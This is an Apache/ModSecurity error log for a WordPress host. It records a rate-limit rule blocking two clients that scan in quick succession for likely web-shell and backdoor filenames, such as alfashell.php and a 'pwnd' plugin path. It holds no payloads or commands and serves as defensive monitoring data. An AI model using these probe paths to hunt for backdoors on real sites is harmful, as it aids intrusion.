[Sat Apr 25 18:19:45.711651 2026] [:error] [pid 16107:tid 16154] [client 20.215.66.169:4059] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeyVQdIfF7Hy3tw0sYRe5AAAAJE"]
[Sat Apr 25 18:19:45.713473 2026] [:error] [pid 16107:tid 16149] [client 4.232.187.202:6469] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeyVQdIfF7Hy3tw0sYRe5QAAAIw"]
[Sat Apr 25 18:19:46.255299 2026] [:error] [pid 16107:tid 16145] [client 20.215.66.169:4061] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeyVQtIfF7Hy3tw0sYRe6gAAAIg"]
[Sat Apr 25 18:19:46.793910 2026] [:error] [pid 16106:tid 16133] [client 20.215.66.169:4035] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeyVQiGjdEsrWF7e-7MV6QAAAFc"]
[Sat Apr 25 18:19:47.332721 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:4057] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeyVQzVPLvrpvXaNQOkFRAAAABE"]
[Sat Apr 25 18:19:47.843701 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:3907] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeyVQzVPLvrpvXaNQOkFSAAAAAs"]
[Sat Apr 25 18:19:48.355906 2026] [:error] [pid 16108:tid 16186] [client 20.215.66.169:4085] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeyVRIbPF4HSQDj6WrlYGwAAANQ"]
[Sat Apr 25 18:19:48.867775 2026] [:error] [pid 16108:tid 16190] [client 20.215.66.169:4031] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeyVRIbPF4HSQDj6WrlYHAAAANg"]
[Sat Apr 25 18:19:49.403867 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:3981] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeyVRTVPLvrpvXaNQOkFUgAAAAo"]
[Sat Apr 25 18:19:49.966115 2026] [:error] [pid 16107:tid 16141] [client 20.215.66.169:4026] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeyVRdIfF7Hy3tw0sYRe9gAAAIQ"]
[Sat Apr 25 18:19:50.524759 2026] [:error] [pid 16108:tid 16178] [client 20.215.66.169:13668] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeyVRobPF4HSQDj6WrlYIAAAAMw"]
[Sat Apr 25 18:19:51.086356 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13497] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyVRzVPLvrpvXaNQOkFYQAAAAE"]
[Sat Apr 25 18:19:51.657867 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:3997] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyVRzVPLvrpvXaNQOkFYwAAAA4"]
[Sat Apr 25 18:19:52.194645 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:3913] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyVSDVPLvrpvXaNQOkFagAAAAs"]
[Sat Apr 25 18:19:52.705524 2026] [:error] [pid 16195:tid 16200] [client 20.215.66.169:3995] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyVSDVPLvrpvXaNQOkFbgAAAAI"]
[Sat Apr 25 18:19:52.881825 2026] [autoindex:error] [pid 16107:tid 16155] [client 4.232.187.202:7087] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:19:53.216032 2026] [:error] [pid 16107:tid 16141] [client 20.215.66.169:3849] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyVSdIfF7Hy3tw0sYRe_AAAAIQ"]
[Sat Apr 25 18:19:53.726649 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:4006] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyVSdIfF7Hy3tw0sYRe_gAAAI0"]
[Sat Apr 25 18:19:54.239741 2026] [:error] [pid 16107:tid 16145] [client 20.215.66.169:4056] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyVStIfF7Hy3tw0sYRfAAAAAIg"]
[Sat Apr 25 18:19:54.781177 2026] [:error] [pid 16107:tid 16152] [client 20.215.66.169:4095] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyVStIfF7Hy3tw0sYRfBgAAAI8"]
[Sat Apr 25 18:19:55.317526 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13538] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyVS4bPF4HSQDj6WrlYIwAAANc"]
[Sat Apr 25 18:19:55.832429 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13579] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyVSzVPLvrpvXaNQOkFgwAAAAU"]
[Sat Apr 25 18:19:56.342903 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:4008] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyVTCGjdEsrWF7e-7MV8wAAAEc"]
[Sat Apr 25 18:19:56.878694 2026] [:error] [pid 16107:tid 16146] [client 20.215.66.169:3983] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyVTNIfF7Hy3tw0sYRfDgAAAIk"]
[Sat Apr 25 18:19:57.418948 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13586] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyVTYbPF4HSQDj6WrlYLQAAAMM"]
[Sat Apr 25 18:19:57.930697 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:13680] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyVTYbPF4HSQDj6WrlYMQAAAMo"]
[Sat Apr 25 18:19:58.445327 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:4009] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyVTjVPLvrpvXaNQOkFiQAAABY"]
[Sat Apr 25 18:19:58.982199 2026] [:error] [pid 16107:tid 16146] [client 20.215.66.169:4023] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyVTtIfF7Hy3tw0sYRfIAAAAIk"]
[Sat Apr 25 18:19:59.555041 2026] [:error] [pid 16107:tid 16145] [client 20.215.66.169:13688] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyVT9IfF7Hy3tw0sYRfIwAAAIg"]
[Sat Apr 25 18:20:00.093028 2026] [:error] [pid 16107:tid 16148] [client 20.215.66.169:4015] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyVUNIfF7Hy3tw0sYRfKAAAAIs"]
[Sat Apr 25 18:20:00.609627 2026] [:error] [pid 16195:tid 16205] [client 20.215.66.169:13685] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyVUDVPLvrpvXaNQOkFlgAAAAc"]
[Sat Apr 25 18:20:01.149023 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:3986] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyVUTVPLvrpvXaNQOkFmgAAAAs"]
[Sat Apr 25 18:20:01.720873 2026] [:error] [pid 16195:tid 16213] [client 20.215.66.169:13631] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyVUTVPLvrpvXaNQOkFnwAAAA8"]
[Sat Apr 25 18:20:02.280793 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:4042] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyVUjVPLvrpvXaNQOkFpAAAAAo"]
[Sat Apr 25 18:20:02.819256 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:3929] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyVUjVPLvrpvXaNQOkFqAAAABA"]
[Sat Apr 25 18:20:03.354623 2026] [:error] [pid 16106:tid 16132] [client 20.215.66.169:4013] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyVUyGjdEsrWF7e-7MWAQAAAFY"]
[Sat Apr 25 18:20:03.916439 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:13657] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyVU4bPF4HSQDj6WrlYPQAAAMo"]
[Sat Apr 25 18:20:04.483960 2026] [:error] [pid 16108:tid 16175] [client 20.215.66.169:3965] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyVVIbPF4HSQDj6WrlYQAAAAMk"]
[Sat Apr 25 18:20:05.019999 2026] [:error] [pid 16106:tid 16116] [client 20.215.66.169:4028] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyVVSGjdEsrWF7e-7MWBQAAAEY"]
[Sat Apr 25 18:20:05.553837 2026] [:error] [pid 16107:tid 16153] [client 20.215.66.169:3993] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyVVdIfF7Hy3tw0sYRfLgAAAJA"]
[Sat Apr 25 18:20:06.098173 2026] [:error] [pid 16106:tid 16134] [client 20.215.66.169:13691] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyVViGjdEsrWF7e-7MWBwAAAFg"]
[Sat Apr 25 18:20:06.610627 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:3988] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyVVobPF4HSQDj6WrlYRgAAAMI"]
[Sat Apr 25 18:20:06.752603 2026] [:error] [pid 16107:tid 16140] [client 4.232.187.202:7087] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyVVtIfF7Hy3tw0sYRfMAAAAIM"]
[Sat Apr 25 18:20:07.127607 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:3841] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyVVzVPLvrpvXaNQOkFtAAAAAo"]
[Sat Apr 25 18:20:07.261595 2026] [:error] [pid 16195:tid 16220] [client 4.232.187.202:7062] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyVVzVPLvrpvXaNQOkFtwAAABY"]
[Sat Apr 25 18:20:07.664441 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13686] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyVVzVPLvrpvXaNQOkFuAAAAAE"]
[Sat Apr 25 18:20:07.792759 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:7063] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyVVzVPLvrpvXaNQOkFuQAAAAk"]
[Sat Apr 25 18:20:08.200404 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:4005] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyVWDVPLvrpvXaNQOkFuwAAAAs"]
[Sat Apr 25 18:20:08.326622 2026] [:error] [pid 16107:tid 16144] [client 4.232.187.202:6477] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyVWNIfF7Hy3tw0sYRfMwAAAIc"]
[Sat Apr 25 18:20:08.734504 2026] [:error] [pid 16108:tid 16186] [client 20.215.66.169:3925] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyVWIbPF4HSQDj6WrlYSgAAANQ"]
[Sat Apr 25 18:20:08.829986 2026] [:error] [pid 16108:tid 16168] [client 4.232.187.202:7019] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyVWIbPF4HSQDj6WrlYSwAAAMQ"]
[Sat Apr 25 18:20:09.299828 2026] [:error] [pid 16108:tid 16183] [client 20.215.66.169:13601] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyVWYbPF4HSQDj6WrlYTAAAANE"]
[Sat Apr 25 18:20:09.420145 2026] [:error] [pid 16106:tid 16111] [client 4.232.187.202:7072] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyVWSGjdEsrWF7e-7MWDQAAAEE"]
[Sat Apr 25 18:20:09.869957 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13640] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyVWYbPF4HSQDj6WrlYTgAAANc"]
[Sat Apr 25 18:20:09.927458 2026] [:error] [pid 16107:tid 16142] [client 4.232.187.202:7166] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyVWdIfF7Hy3tw0sYRfNwAAAIU"]
[Sat Apr 25 18:20:10.459849 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:3906] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVWjVPLvrpvXaNQOkFwAAAAAw"]
